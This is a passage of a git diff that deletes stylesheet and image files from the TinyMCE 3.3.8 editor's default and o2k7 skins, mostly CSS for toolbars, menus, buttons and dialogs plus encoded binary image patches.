zn3<ZJoSmMZprN9pq@|{(sHv)}s0KGAu(7hUw6(UkxVgH!yuH4^z`?@9#Kpu0B_PVn z%+1cv(9zP<)YaD4*xB0K+}+;a-UcBd9p&cd=;`X~?CtLF@bU8V^!4`l`1$(y2IUw3 z00RmfNU)&6g9sBUT*$DY!-o(fN}NbhqJaw@FlgM!v7^V2AVZ2ANwTELlPFWFT*<Pf z%a<(;Xv{#frp=o;bL!m5v!~DhpFo2O9ZIyQ(W6L{9yLHygVU!_qe`7hwW`&tShH%~ z%C)Q4uVBN99UInw1PK$;s$I*rt=qS7<I0^&x31m0c=PJr%eSvzz6R1#7)-dZ;lqd% zD_+dFvE#>(BTJr4xw7TUm@OOFuz`c;&!9t#9!<Km>C>oFt6t5zwd>cgW6Pc$+rZ!o zxO3~?&AYen-@t<lA5Ofu@#DyoD__pM`EmoeEl8hEy}I@5*t2Wj&b_<$@8H9WA5Xr# z`SaxsSct&Bz5Dm@<IA5<zrOwZ`19-E&%eL_{{RLE;1&cHXyAbeCaB<o3`*eu1Or4U z;e-@cXyJtzW~kwY9Cqmc;fElGDB_4DmS|#$5E7u`iY&J1;)^iGDC3MY)@b96IOeG1 zjy(40<BvWX0OXKF7HQ;>NG7S|k~SJ3z>`o$Ddm(@N@>THSZ1l^mRxq}B^ypwDdw0~ zere{JXr`&=nrnnf=9^WrDd(JY)@f%NZo;W2ly~;&=bwOLndhE*25RV`h$b4qpoG4u z=%bKEiYB9tjw$J-m}V*mrIp61>8GHE8V0AGPATfCs76X^sZplt>Z^dR%IcG_)@rMq zvd((zuDp7gE33T*D{LLV&T8zj$R?}ovdlK?EUU#nEA6z@R%`9G*b0Edw%m5>?YH2D zEAF`DmTT_0=%%ax?z-%@>+ZYox~sqgCd6y+z4+#<@4o!@>u<RU6ac}$1Q%@Z!3ZaO za19JBpzy;GM=bHg1%E(;0TgGf@x~l?OaluTcP#SAB$s^e3@U_d^2#i??D7gPsO<90 zG}jz4%re`o^Ugfu%R&q}_bl|#M30*S&_yS$w9+TY5cJYeN8NJMPfKm})f=neLe*Gz z?RCN`z`*s_WS6~f*khZm_S)^D&_dd5$1V4`FT6eX-FWA%_ulIc0D%L12aY!ZehY4R z+$zF-_~J`HsW{`15AAs5lv_P{<(MmddFGr8y?N)L+x&Uxq_;eJ>8O)@dg`oiyn5@f zOZ<B5v?n}Ed+oRre0%P^@4I{Nz}x$K@Wi(}eDTO9ul(}NH}CxO&_^%*^wd{x{q@*q kul@Gickli8;D;~%_~e&w{`tx`sQ&uwx9|S@@CN|^JHwS1<NyEw diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/ui.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/ui.css deleted file mode 100644 index 0049c7b..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/ui.css +++ /dev/null @@ -1,213 +0,0 @@ -/* Reset */ -.defaultSkin table, .defaultSkin tbody, .defaultSkin a, .defaultSkin img, .defaultSkin tr, .defaultSkin div, .defaultSkin td, .defaultSkin iframe, .defaultSkin span, .defaultSkin *, .defaultSkin .mceText {border:0; margin:0; padding:0; background:transparent; white-space:nowrap; text-decoration:none; font-weight:normal; cursor:default; color:#000; vertical-align:baseline; width:auto; border-collapse:separate; text-align:left} -.defaultSkin a:hover, .defaultSkin a:link, .defaultSkin a:visited, .defaultSkin a:active {text-decoration:none; font-weight:normal; cursor:default; color:#000} -.defaultSkin table td {vertical-align:middle} - -/* Containers */ -.defaultSkin table {direction:ltr; background:#F0F0EE} -.defaultSkin iframe {display:block; background:#FFF} -.defaultSkin .mceToolbar {height:26px} -.defaultSkin .mceLeft {text-align:left} -.defaultSkin .mceRight {text-align:right} - -/* External */ -.defaultSkin .mceExternalToolbar {position:absolute; border:1px solid #CCC; border-bottom:0; display:none;} -.defaultSkin .mceExternalToolbar td.mceToolbar {padding-right:13px;} -.defaultSkin .mceExternalClose {position:absolute; top:3px; right:3px; width:7px; height:7px; background:url(../../img/icons.gif) -820px 0} - -/* Layout */ -.defaultSkin table.mceLayout {border:0; border-left:1px solid #CCC; border-right:1px solid #CCC} -.defaultSkin table.mceLayout tr.mceFirst td {border-top:1px solid #CCC} -.defaultSkin table.mceLayout tr.mceLast td {border-bottom:1px solid #CCC} -.defaultSkin table.mceToolbar, .defaultSkin tr.mceFirst .mceToolbar tr td, .defaultSkin tr.mceLast .mceToolbar tr td {border:0; margin:0; padding:0;} -.defaultSkin td.mceToolbar {padding-top:1px; vertical-align:top} -.defaultSkin .mceIframeContainer {border-top:1px solid #CCC; border-bottom:1px solid #CCC} -.defaultSkin .mceStatusbar {font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:9pt; line-height:16px; overflow:visible; color:#000; display:block; height:20px} -.defaultSkin .mceStatusbar div {float:left; margin:2px} -.defaultSkin .mceStatusbar a.mceResize {display:block; float:right; background:url(../../img/icons.gif) -800px 0; width:20px; height:20px; cursor:se-resize; outline:0} -.defaultSkin .mceStatusbar a:hover {text-decoration:underline} -.defaultSkin table.mceToolbar {margin-left:3px} -.defaultSkin span.mceIcon, .defaultSkin img.mceIcon {display:block; width:20px; height:20px} -.defaultSkin .mceIcon {background:url(../../img/icons.gif) no-repeat 20px 20px} -.defaultSkin td.mceCenter {text-align:center;} -.defaultSkin td.mceCenter table {margin:0 auto; text-align:left;} -.defaultSkin td.mceRight table {margin:0 0 0 auto;} - -/* Button */ -.defaultSkin .mceButton {display:block; border:1px solid #F0F0EE; width:20px; height:20px; margin-right:1px} -.defaultSkin a.mceButtonEnabled:hover {border:1px solid #0A246A; background-color:#B2BBD0} -.defaultSkin a.mceButtonActive, .defaultSkin a.mceButtonSelected {border:1px solid #0A246A; background-color:#C2CBE0} -.defaultSkin .mceButtonDisabled .mceIcon {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} -.defaultSkin .mceButtonLabeled {width:auto} -.defaultSkin .mceButtonLabeled span.mceIcon {float:left} -.defaultSkin span.mceButtonLabel {display:block; font-size:10px; padding:4px 6px 0 22px; font-family:Tahoma,Verdana,Arial,Helvetica} -.defaultSkin .mceButtonDisabled .mceButtonLabel {color:#888} - -/* Separator */ -.defaultSkin .mceSeparator {display:block; background:url(../../img/icons.gif) -180px 0; width:2px; height:20px; margin:2px 2px 0 4px} - -/* ListBox */ -.defaultSkin .mceListBox, .defaultSkin .mceListBox a {display:block} -.defaultSkin .mceListBox .mceText {padding-left:4px; width:70px; text-align:left; border:1px solid #CCC; border-right:0; background:#FFF; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; height:20px; line-height:20px; overflow:hidden} -.defaultSkin .mceListBox .mceOpen {width:9px; height:20px; background:url(../../img/icons.gif) -741px 0; margin-right:2px; border:1px solid #CCC;} -.defaultSkin table.mceListBoxEnabled:hover .mceText, .defaultSkin .mceListBoxHover .mceText, .defaultSkin .mceListBoxSelected .mceText {border:1px solid #A2ABC0; border-right:0; background:#FFF} -.defaultSkin table.mceListBoxEnabled:hover .mceOpen, .defaultSkin .mceListBoxHover .mceOpen, .defaultSkin .mceListBoxSelected .mceOpen {background-color:#FFF; border:1px solid #A2ABC0} -.defaultSkin .mceListBoxDisabled a.mceText {color:gray; background-color:transparent;} -.defaultSkin .mceListBoxMenu {overflow:auto; overflow-x:hidden} -.defaultSkin .mceOldBoxModel .mceListBox .mceText {height:22px} -.defaultSkin .mceOldBoxModel .mceListBox .mceOpen {width:11px; height:22px;} -.defaultSkin select.mceNativeListBox {font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:7pt; background:#F0F0EE; border:1px solid gray; margin-right:2px;} - -/* SplitButton */ -.defaultSkin .mceSplitButton {width:32px; height:20px; direction:ltr} -.defaultSkin .mceSplitButton a, .defaultSkin .mceSplitButton span {height:20px; display:block} -.defaultSkin .mceSplitButton a.mceAction {width:20px; border:1px solid #F0F0EE; border-right:0;} -.defaultSkin .mceSplitButton span.mceAction {width:20px; background-image:url(../../img/icons.gif);} -.defaultSkin .mceSplitButton a.mceOpen {width:9px; background:url(../../img/icons.gif) -741px 0; border:1px solid #F0F0EE;} -.defaultSkin .mceSplitButton span.mceOpen {display:none} -.defaultSkin table.mceSplitButtonEnabled:hover a.mceAction, .defaultSkin .mceSplitButtonHover a.mceAction, .defaultSkin .mceSplitButtonSelected a.mceAction {border:1px solid #0A246A; border-right:0; background-color:#B2BBD0} -.defaultSkin table.mceSplitButtonEnabled:hover a.mceOpen, .defaultSkin .mceSplitButtonHover a.mceOpen, .defaultSkin .mceSplitButtonSelected a.mceOpen {background-color:#B2BBD0; border:1px solid #0A246A;} -.defaultSkin .mceSplitButtonDisabled .mceAction, .defaultSkin .mceSplitButtonDisabled a.mceOpen {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} -.defaultSkin .mceSplitButtonActive a.mceAction {border:1px solid #0A246A; background-color:#C2CBE0} -.defaultSkin .mceSplitButtonActive a.mceOpen {border-left:0;} - -/* ColorSplitButton */ -.defaultSkin div.mceColorSplitMenu table {background:#FFF; border:1px solid gray} -.defaultSkin .mceColorSplitMenu td {padding:2px} -.defaultSkin .mceColorSplitMenu a {display:block; width:9px; height:9px; overflow:hidden; border:1px solid #808080} -.defaultSkin .mceColorSplitMenu td.mceMoreColors {padding:1px 3px 1px 1px} -.defaultSkin .mceColorSplitMenu a.mceMoreColors {width:100%; height:auto; text-align:center; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; line-height:20px; border:1px solid #FFF} -.defaultSkin .mceColorSplitMenu a.mceMoreColors:hover {border:1px solid #0A246A; background-color:#B6BDD2} -.defaultSkin a.mceMoreColors:hover {border:1px solid #0A246A} -.defaultSkin .mceColorPreview {margin-left:2px; width:16px; height:4px; overflow:hidden; background:#9a9b9a} -.defaultSkin .mce_forecolor span.mceAction, .defaultSkin .mce_backcolor span.mceAction {overflow:hidden; height:16px} - -/* Menu */ -.defaultSkin .mceMenu {position:absolute; left:0; top:0; z-index:1000; border:1px solid #D4D0C8} -.defaultSkin .mceNoIcons span.mceIcon {width:0;} -.defaultSkin .mceNoIcons a .mceText {padding-left:10px} -.defaultSkin .mceMenu table {background:#FFF} -.defaultSkin .mceMenu a, .defaultSkin .mceMenu span, .defaultSkin .mceMenu {display:block} -.defaultSkin .mceMenu td {height:20px} -.defaultSkin .mceMenu a {position:relative;padding:3px 0 4px 0} -.defaultSkin .mceMenu .mceText {position:relative; display:block; font-family:Tahoma,Verdana,Arial,Helvetica; color:#000; cursor:default; margin:0; padding:0 25px 0 25px; display:block} -.defaultSkin .mceMenu span.mceText, .defaultSkin .mceMenu .mcePreview {font-size:11px} -.defaultSkin .mceMenu pre.mceText {font-family:Monospace} -.defaultSkin .mceMenu .mceIcon {position:absolute; top:0; left:0; width:22px;} -.defaultSkin .mceMenu .mceMenuItemEnabled a:hover, .defaultSkin .mceMenu .mceMenuItemActive {background-color:#dbecf3} -.defaultSkin td.mceMenuItemSeparator {background:#DDD; height:1px} -.defaultSkin .mceMenuItemTitle a {border:0; background:#EEE; border-bottom:1px solid #DDD} -.defaultSkin .mceMenuItemTitle span.mceText {color:#000; font-weight:bold; padding-left:4px} -.defaultSkin .mceMenuItemDisabled .mceText {color:#888} -.defaultSkin .mceMenuItemSelected .mceIcon {background:url(img/menu_check.gif)} -.defaultSkin .mceNoIcons .mceMenuItemSelected a {background:url(img/menu_arrow.gif) no-repeat -6px center} -.defaultSkin .mceMenu span.mceMenuLine {display:none} -.defaultSkin .mceMenuItemSub a {background:url(img/menu_arrow.gif) no-repeat top right;} - -/* Progress,Resize */ -.defaultSkin .mceBlocker {position:absolute; left:0; top:0; z-index:1000; opacity:0.5; -ms-filter:'alpha(opacity=50)'; filter:alpha(opacity=50); background:#FFF} -.defaultSkin .mceProgress {position:absolute; left:0; top:0; z-index:1001; background:url(img/progress.gif) no-repeat; width:32px; height:32px; margin:-16px 0 0 -16px} - -/* Formats */ -.defaultSkin .mce_formatPreview a {font-size:10px} -.defaultSkin .mce_p span.mceText {} -.defaultSkin .mce_address span.mceText {font-style:italic} -.defaultSkin .mce_pre span.mceText {font-family:monospace} -.defaultSkin .mce_h1 span.mceText {font-weight:bolder; font-size: 2em} -.defaultSkin .mce_h2 span.mceText {font-weight:bolder; font-size: 1.5em} -.defaultSkin .mce_h3 span.mceText {font-weight:bolder; font-size: 1.17em} -.defaultSkin .mce_h4 span.mceText {font-weight:bolder; font-size: 1em} -.defaultSkin .mce_h5 span.mceText {font-weight:bolder; font-size: .83em} -.defaultSkin .mce_h6 span.mceText {font-weight:bolder; font-size: .75em} - -/* Theme */ -.defaultSkin span.mce_bold {background-position:0 0} -.defaultSkin span.mce_italic {background-position:-60px 0} -.defaultSkin span.mce_underline {background-position:-140px 0} -.defaultSkin span.mce_strikethrough {background-position:-120px 0} -.defaultSkin span.mce_undo {background-position:-160px 0} -.defaultSkin span.mce_redo {background-position:-100px 0} -.defaultSkin span.mce_cleanup {background-position:-40px 0} -.defaultSkin span.mce_bullist {background-position:-20px 0} -.defaultSkin span.mce_numlist {background-position:-80px 0} -.defaultSkin span.mce_justifyleft {background-position:-460px 0} -.defaultSkin span.mce_justifyright {background-position:-480px 0} -.defaultSkin span.mce_justifycenter {background-position:-420px 0} -.defaultSkin span.mce_justifyfull {background-position:-440px 0} -.defaultSkin span.mce_anchor {background-position:-200px 0} -.defaultSkin span.mce_indent {background-position:-400px 0} -.defaultSkin span.mce_outdent {background-position:-540px 0} -.defaultSkin span.mce_link {background-position:-500px 0} -.defaultSkin span.mce_unlink {background-position:-640px 0} -.defaultSkin span.mce_sub {background-position:-600px 0} -.defaultSkin span.mce_sup {background-position:-620px 0} -.defaultSkin span.mce_removeformat {background-position:-580px 0} -.defaultSkin span.mce_newdocument {background-position:-520px 0} -.defaultSkin span.mce_image {background-position:-380px 0} -.defaultSkin span.mce_help {background-position:-340px 0} -.defaultSkin span.mce_code {background-position:-260px 0} -.defaultSkin span.mce_hr {background-position:-360px 0} -.defaultSkin span.mce_visualaid {background-position:-660px 0} -.defaultSkin span.mce_charmap {background-position:-240px 0} -.defaultSkin span.mce_paste {background-position:-560px 0} -.defaultSkin span.mce_copy {background-position:-700px 0} -.defaultSkin span.mce_cut {background-position:-680px 0} -.defaultSkin span.mce_blockquote {background-position:-220px 0} -.defaultSkin .mce_forecolor span.mceAction {background-position:-720px 0} -.defaultSkin .mce_backcolor span.mceAction {background-position:-760px 0} -.defaultSkin span.mce_forecolorpicker {background-position:-720px 0} -.defaultSkin span.mce_backcolorpicker {background-position:-760px 0} - -/* Plugins */ -.defaultSkin span.mce_advhr {background-position:-0px -20px} -.defaultSkin span.mce_ltr {background-position:-20px -20px} -.defaultSkin span.mce_rtl {background-position:-40px -20px} -.defaultSkin span.mce_emotions {background-position:-60px -20px} -.defaultSkin span.mce_fullpage {background-position:-80px -20px} -.defaultSkin span.mce_fullscreen {background-position:-100px -20px} -.defaultSkin span.mce_iespell {background-position:-120px -20px} -.defaultSkin span.mce_insertdate {background-position:-140px -20px} -.defaultSkin span.mce_inserttime {background-position:-160px -20px} -.defaultSkin span.mce_absolute {background-position:-180px -20px} -.defaultSkin span.mce_backward {background-position:-200px -20px} -.defaultSkin span.mce_forward {background-position:-220px -20px} -.defaultSkin span.mce_insert_layer {background-position:-240px -20px} -.defaultSkin span.mce_insertlayer {background-position:-260px -20px} -.defaultSkin span.mce_movebackward {background-position:-280px -20px} -.defaultSkin span.mce_moveforward {background-position:-300px -20px} -.defaultSkin span.mce_media {background-position:-320px -20px} -.defaultSkin span.mce_nonbreaking {background-position:-340px -20px} -.defaultSkin span.mce_pastetext {background-position:-360px -20px} -.defaultSkin span.mce_pasteword {background-position:-380px -20px} -.defaultSkin span.mce_selectall {background-position:-400px -20px} -.defaultSkin span.mce_preview {background-position:-420px -20px} -.defaultSkin span.mce_print {background-position:-440px -20px} -.defaultSkin span.mce_cancel {background-position:-460px -20px} -.defaultSkin span.mce_save {background-position:-480px -20px} -.defaultSkin span.mce_replace {background-position:-500px -20px} -.defaultSkin span.mce_search {background-position:-520px -20px} -.defaultSkin span.mce_styleprops {background-position:-560px -20px} -.defaultSkin span.mce_table {background-position:-580px -20px} -.defaultSkin span.mce_cell_props {background-position:-600px -20px} -.defaultSkin span.mce_delete_table {background-position:-620px -20px} -.defaultSkin span.mce_delete_col {background-position:-640px -20px} -.defaultSkin span.mce_delete_row {background-position:-660px -20px} -.defaultSkin span.mce_col_after {background-position:-680px -20px} -.defaultSkin span.mce_col_before {background-position:-700px -20px} -.defaultSkin span.mce_row_after {background-position:-720px -20px} -.defaultSkin span.mce_row_before {background-position:-740px -20px} -.defaultSkin span.mce_merge_cells {background-position:-760px -20px} -.defaultSkin span.mce_table_props {background-position:-980px -20px} -.defaultSkin span.mce_row_props {background-position:-780px -20px} -.defaultSkin span.mce_split_cells {background-position:-800px -20px} -.defaultSkin span.mce_template {background-position:-820px -20px} -.defaultSkin span.mce_visualchars {background-position:-840px -20px} -.defaultSkin span.mce_abbr {background-position:-860px -20px} -.defaultSkin span.mce_acronym {background-position:-880px -20px} -.defaultSkin span.mce_attribs {background-position:-900px -20px} -.defaultSkin span.mce_cite {background-position:-920px -20px} -.defaultSkin span.mce_del {background-position:-940px -20px} -.defaultSkin span.mce_ins {background-position:-960px -20px} -.defaultSkin span.mce_pagebreak {background-position:0 -40px} -.defaultSkin span.mce_restoredraft {background-position:-20px -40px} -.defaultSkin span.mce_spellchecker {background-position:-540px -20px} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/content.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/content.css deleted file mode 100644 index 3b833d9..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/content.css +++ /dev/null @@ -1,36 +0,0 @@ -body, td, pre {color:#000; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; margin:8px;} -body {background:#FFF;} -body.mceForceColors {background:#FFF; color:#000;} -h1 {font-size: 2em} -h2 {font-size: 1.5em} -h3 {font-size: 1.17em} -h4 {font-size: 1em} -h5 {font-size: .83em} -h6 {font-size: .75em} -.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;} -a.mceItemAnchor {display:inline-block; width:11px !important; height:11px !important; background:url(../default/img/items.gif) no-repeat 0 0;} -span.mceItemNbsp {background: #DDD} -td.mceSelected, th.mceSelected {background-color:#3399ff !important} -img {border:0;} -table {cursor:default} -table td, table th {cursor:text} -ins {border-bottom:1px solid green; text-decoration: none; color:green} -del {color:red; text-decoration:line-through} -cite {border-bottom:1px dashed blue} -acronym {border-bottom:1px dotted #CCC; cursor:help} -abbr {border-bottom:1px dashed #CCC; cursor:help} - -/* IE */ -* html body { -scrollbar-3dlight-color:#F0F0EE; -scrollbar-arrow-color:#676662; -scrollbar-base-color:#F0F0EE; -scrollbar-darkshadow-color:#DDD; -scrollbar-face-color:#E0E0DD; -scrollbar-highlight-color:#F0F0EE; -scrollbar-shadow-color:#F0F0EE; -scrollbar-track-color:#F5F5F5; -} - -img:-moz-broken {-moz-force-broken-image-icon:1; width:24px; height:24px} -font[face=mceinline] {font-family:inherit !important} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/dialog.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/dialog.css deleted file mode 100644 index e3af139..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/dialog.css +++ /dev/null @@ -1,116 +0,0 @@ -/* Generic */ -body { -font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px; -scrollbar-3dlight-color:#F0F0EE; -scrollbar-arrow-color:#676662; -scrollbar-base-color:#F0F0EE; -scrollbar-darkshadow-color:#DDDDDD; -scrollbar-face-color:#E0E0DD; -scrollbar-highlight-color:#F0F0EE; -scrollbar-shadow-color:#F0F0EE; -scrollbar-track-color:#F5F5F5; -background:#F0F0EE; -padding:0; -margin:8px 8px 0 8px; -} - -html {background:#F0F0EE;} -td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} -textarea {resize:none;outline:none;} -a:link, a:visited {color:black;} -a:hover {color:#2B6FB6;} -.nowrap {white-space: nowrap} - -/* Forms */ -fieldset {margin:0; padding:4px; border:1px solid #919B9C; font-family:Verdana, Arial; font-size:10px;} -legend {color:#2B6FB6; font-weight:bold;} -label.msg {display:none;} -label.invalid {color:#EE0000; display:inline;} -input.invalid {border:1px solid #EE0000;} -input {background:#FFF; border:1px solid #CCC;} -input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} -input, select, textarea {border:1px solid #808080;} -input.radio {border:1px none #000000; background:transparent; vertical-align:middle;} -input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;} -.input_noborder {border:0;} - -/* Buttons */ -#insert, #cancel, input.button, .updateButton { -border:0; margin:0; padding:0; -font-weight:bold; -width:94px; height:26px; -background:url(../default/img/buttons.png) 0 -26px; -cursor:pointer; -padding-bottom:2px; -float:left; -} - -#insert {background:url(../default/img/buttons.png) 0 -52px} -#cancel {background:url(../default/img/buttons.png) 0 0; float:right} - -/* Browse */ -a.pickcolor, a.browse {text-decoration:none} -a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;} -.mceOldBoxModel a.browse span {width:22px; height:20px;} -a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;} -a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} -a.browse:hover span.disabled {border:1px solid white; background-color:transparent;} -a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;} -.mceOldBoxModel a.pickcolor span {width:21px; height:17px;} -a.pickcolor:hover span {background-color:#B2BBD0;} -a.pickcolor:hover span.disabled {} - -/* Charmap */ -table.charmap {border:1px solid #AAA; text-align:center} -td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;} -#charmap a {display:block; color:#000; text-decoration:none; border:0} -#charmap a:hover {background:#CCC;color:#2B6FB6} -#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center} -#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center} - -/* Source */ -.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;} -.mceActionPanel {margin-top:5px;} - -/* Tabs classes */ -.tabs {width:100%; height:18px; line-height:normal; background:url(../default/img/tabs.gif) repeat-x 0 -72px;} -.tabs ul {margin:0; padding:0; list-style:none;} -.tabs li {float:left; background:url(../default/img/tabs.gif) no-repeat 0 0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;} -.tabs li.current {background:url(../default/img/tabs.gif) no-repeat 0 -18px; margin-right:2px;} -.tabs span {float:left; display:block; background:url(../default/img/tabs.gif) no-repeat right -36px; padding:0px 10px 0 0;} -.tabs .current span {background:url(../default/img/tabs.gif) no-repeat right -54px;} -.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;} -.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;} - -/* Panels */ -.panel_wrapper div.panel {display:none;} -.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;} -.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;} - -/* Columns */ -.column {float:left;} -.properties {width:100%;} -.properties .column1 {} -.properties .column2 {text-align:left;} - -/* Titles */ -h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;} -h3 {font-size:14px;} -.title {font-size:12px; font-weight:bold; color:#2B6FB6;} - -/* Dialog specific */ -#link .panel_wrapper, #link div.current {height:125px;} -#image .panel_wrapper, #image div.current {height:200px;} -#plugintable thead {font-weight:bold; background:#DDD;} -#plugintable, #about #plugintable td {border:1px solid #919B9C;} -#plugintable {width:96%; margin-top:10px;} -#pluginscontainer {height:290px; overflow:auto;} -#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;} -#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;} -#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;} -#colorpicker #light div {overflow:hidden;} -#colorpicker #previewblock {float:right; padding-left:10px; height:20px;} -#colorpicker .panel_wrapper div.current {height:175px;} -#colorpicker #namedcolors {width:150px;} -#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;} -#colorpicker #colornamecontainer {margin-top:5px;} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/img/button_bg.png b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/img/button_bg.png deleted file mode 100644 index 12cfb419bbf2fb87f845731aa0fceb653d0dbf88..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5859 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 